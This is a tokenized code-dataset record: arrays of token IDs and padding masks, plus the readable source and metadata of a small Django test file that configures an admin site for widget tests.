1704,
2026,
14,
2308,
14,
1144,
63,
475,
63,
18945,
8,
1569,
9,
339,
347,
511,
63,
4322,
8,
277,
304,
267,
702,
19897,
63,
697,
14,
21184,
63,
697,
8,
277,
14,
697,
14,
515,
1012,
508,
291,
14,
6909,
63,
30773,
339,
347,
511,
63,
3990,
63,
1392,
8,
277,
304,
267,
702,
19897,
63,
697,
14,
21184,
63,
697,
8,
277,
14,
697,
14,
515,
1062,
3542,
63,
7191,
63,
1392,
29,
549,
9,
508,
291,
14,
6909,
63,
27240,
199,
199,
533,
1379,
8479,
7238,
8,
23170,
3007,
2846,
304,
272,
986,
199,
199,
533,
1379,
31409,
7238,
8,
23170,
3007,
2846,
304,
272,
428,
1991,
63,
3234,
25380,
275,
756,
272,
21705,
63,
27240,
275,
756,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1898,
334,
67,
9,
6900,
13,
9261,
12,
653,
5437,
13033,
27072,
14,
221,
2900,
4481,
4644,
14,
199,
199,
646,
747,
14,
515,
199,
646,
5145,
199,
646,
5549,
199,
199,
646,
1704,
2026,
14,
2308,
199,
646,
24546,
697,
199,
646,
2680,
465,
980,
199,
199,
504,
1275,
492,
19897,
63,
697,
199,
199,
3,
9498,
492,
2410,
16306,
7576,
14,
888,
199,
646,
1704,
2026,
63,
3317,
18,
199,
199,
533,
3523,
774,
3007,
2846,
8,
785,
304,
272,
428,
1991,
63,
3234,
25380,
275,
715,
272,
21705,
63,
30773,
275,
715,
272,
21705,
63,
27240,
275,
715,
272,
21705,
63,
8760,
275,
715,
339,
768,
3744,
272,
347,
18561,
8,
1886,
304,
267,
843,
423,
576,
63,
694,
275,
5549,
14,
11983,
342,
267,
843,
14,
697,
275,
24546,
697,
14,
1490,
8,
736,
14,
515,
14,
904,
8,
1886,
423,
576,
63,
694,
12,
283,
697,
1333,
267,
367,
284,
315,
4945,
8,
18,
304,
288,
340,
843,
14,
19935,
63,
3234,
25380,
26,
355,
3462,
275,
1616,
288,
587,
26,
355,
3462,
275,
1616,
11,
73,
288,
18908,
275,
843,
14,
981,
63,
18945,
8,
709,
12,
2063,
12,
19,
9,
288,
543,
843,
14,
697,
14,
5037,
8,
952,
29,
549,
9,
465,
23883,
26,
355,
23883,
14,
524,
8,
495,
8,
73,
395,
18908,
14,
9436,
1012,
339,
768,
3744,
272,
347,
24468,
8,
1886,
304,
267,
843,
14,
697,
14,
1600,
342,
267,
5145,
14,
9242,
8,
1886,
423,
576,
63,
694,
9,
339,
768,
4639,
272,
347,
1218,
63,
18945,
2031,
1392,
304,
267,
408,
267,
10560,
282,
18908,
543,
376,
1834,
402,
314,
1627,
2215,
267,
408,
267,
1834,
275,
980,
14,
4548,
8,
1392,
12,
2152,
534,
1635,
24,
358,
267,
372,
1704,
2026,
14,
2308,
14,
1144,
63,
475,
63,
18945,
8,
1569,
9,
339,
347,
511,
63,
4322,
8,
277,
304,
267,
702,
19897,
63,
697,
14,
21184,
63,
697,
8,
277,
14,
697,
14,
515,
1012,
508,
291,
14,
6909,
63,
30773,
339,
347,
511,
63,
3990,
63,
1392,
8,
277,
304,
267,
702,
19897,
63,
697,
14,
21184,
63,
697,
8,
277,
14,
697,
14,
515,
1062,
3542,
63,
7191,
63,
1392,
29,
549,
9,
508,
291,
14,
6909,
63,
27240,
199,
199,
533,
1379,
8479,
7238,
8,
23170,
3007,
2846,
304,
272,
986,
199,
199,
533,
1379,
31409,
7238,
8,
23170,
3007,
2846,
304,
272,
428,
1991,
63,
3234,
25380,
275,
756,
272,
21705,
63,
27240,
275,
756,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
simone/django-gb
|
tests/admin_widgets/widgetadmin.py
|
68
|
1222
|
from django.contrib import admin
from . import models
class WidgetAdmin(admin.AdminSite):
pass
class CarAdmin(admin.ModelAdmin):
list_display = ['make', 'model', 'owner']
list_editable = ['owner']
class CarTireAdmin(admin.ModelAdmin):
def formfield_for_foreignkey(self, db_field, request, **kwargs):
if db_field.name == "car":
kwargs["queryset"] = models.Car.objects.filter(owner=request.user)
return db_field.formfield(**kwargs)
return super(CarTireAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)
class EventAdmin(admin.ModelAdmin):
raw_id_fields = ['main_band', 'supporting_bands']
class SchoolAdmin(admin.ModelAdmin):
filter_vertical = ('students',)
filter_horizontal = ('alumni',)
site = WidgetAdmin(name='widget-admin')
site.register(models.User)
site.register(models.Car, CarAdmin)
site.register(models.CarTire, CarTireAdmin)
site.register(models.Member)
site.register(models.Band)
site.register(models.Event, EventAdmin)
site.register(models.Album)
site.register(models.Inventory)
site.register(models.Bee)
site.register(models.Advisor)
site.register(models.School, SchoolAdmin)
site.register(models.Profile)
|
bsd-3-clause
|
[
504,
1639,
14,
2828,
492,
4628,
199,
199,
504,
1275,
492,
1709,
421,
199,
533,
16905,
4880,
8,
2113,
14,
4880,
8972,
304,
272,
986,
421,
199,
533,
14243,
4880,
8,
2113,
14,
12976,
304,
272,
769,
63,
2918,
275,
788,
1875,
297,
283,
1238,
297,
283,
4597,
418,
272,
769,
63,
10820,
275,
788,
4597,
418,
421,
199,
533,
14243,
52,
3621,
4880,
8,
2113,
14,
12976,
304,
272,
347,
21388,
63,
509,
63,
11766,
8,
277,
12,
1592,
63,
698,
12,
1056,
12,
1011,
958,
304,
267,
340,
1592,
63,
698,
14,
354,
508,
298,
7007,
582,
288,
2074,
905,
7924,
937,
275,
1709,
14,
16034,
14,
1462,
14,
1541,
8,
4597,
29,
1069,
14,
751,
9,
288,
372,
1592,
63,
698,
14,
20015,
3682,
958,
9,
267,
372,
1613,
8,
16034,
52,
3621,
4880,
12,
291,
680,
20015,
63,
509,
63,
11766,
8,
697,
63,
698,
12,
1056,
12,
1011,
958,
9,
421,
199,
533,
6763,
4880,
8,
2113,
14,
12976,
304,
272,
3066,
63,
344,
63,
955,
275,
788,
973,
63,
7877,
297,
283,
4058,
316,
63,
23086,
418,
421,
199,
533,
428,
15089,
4880,
8,
2113,
14,
12976,
304,
272,
2457,
63,
7870,
275,
661,
17921,
9538,
272,
2457,
63,
11392,
275,
661,
279,
1307,
73,
9538,
199,
199,
2124,
275,
16905,
4880,
8,
354,
534,
3440,
13,
2113,
358,
199,
199,
2124,
14,
2683,
8,
992,
14,
1899,
9,
199,
2124,
14,
2683,
8,
992,
14,
16034,
12,
14243,
4880,
9,
199,
2124,
14,
2683,
8,
992,
14,
16034,
52,
3621,
12,
14243,
52,
3621,
4880,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
7021,
9,
199,
2124,
14,
2683,
8,
992,
14,
11675,
9,
199,
2124,
14,
2683,
8,
992,
14,
2390,
12,
6763,
4880,
9,
199,
2124,
14,
2683,
8,
992,
14,
26369,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
19304,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
34,
1024,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
2767,
8286,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
51,
15089,
12,
428,
15089,
4880,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
5736,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1639,
14,
2828,
492,
4628,
199,
199,
504,
1275,
492,
1709,
421,
199,
533,
16905,
4880,
8,
2113,
14,
4880,
8972,
304,
272,
986,
421,
199,
533,
14243,
4880,
8,
2113,
14,
12976,
304,
272,
769,
63,
2918,
275,
788,
1875,
297,
283,
1238,
297,
283,
4597,
418,
272,
769,
63,
10820,
275,
788,
4597,
418,
421,
199,
533,
14243,
52,
3621,
4880,
8,
2113,
14,
12976,
304,
272,
347,
21388,
63,
509,
63,
11766,
8,
277,
12,
1592,
63,
698,
12,
1056,
12,
1011,
958,
304,
267,
340,
1592,
63,
698,
14,
354,
508,
298,
7007,
582,
288,
2074,
905,
7924,
937,
275,
1709,
14,
16034,
14,
1462,
14,
1541,
8,
4597,
29,
1069,
14,
751,
9,
288,
372,
1592,
63,
698,
14,
20015,
3682,
958,
9,
267,
372,
1613,
8,
16034,
52,
3621,
4880,
12,
291,
680,
20015,
63,
509,
63,
11766,
8,
697,
63,
698,
12,
1056,
12,
1011,
958,
9,
421,
199,
533,
6763,
4880,
8,
2113,
14,
12976,
304,
272,
3066,
63,
344,
63,
955,
275,
788,
973,
63,
7877,
297,
283,
4058,
316,
63,
23086,
418,
421,
199,
533,
428,
15089,
4880,
8,
2113,
14,
12976,
304,
272,
2457,
63,
7870,
275,
661,
17921,
9538,
272,
2457,
63,
11392,
275,
661,
279,
1307,
73,
9538,
199,
199,
2124,
275,
16905,
4880,
8,
354,
534,
3440,
13,
2113,
358,
199,
199,
2124,
14,
2683,
8,
992,
14,
1899,
9,
199,
2124,
14,
2683,
8,
992,
14,
16034,
12,
14243,
4880,
9,
199,
2124,
14,
2683,
8,
992,
14,
16034,
52,
3621,
12,
14243,
52,
3621,
4880,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
7021,
9,
199,
2124,
14,
2683,
8,
992,
14,
11675,
9,
199,
2124,
14,
2683,
8,
992,
14,
2390,
12,
6763,
4880,
9,
199,
2124,
14,
2683,
8,
992,
14,
26369,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
19304,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
34,
1024,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
2767,
8286,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
51,
15089,
12,
428,
15089,
4880,
9,
199,
199,
2124,
14,
2683,
8,
992,
14,
5736,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
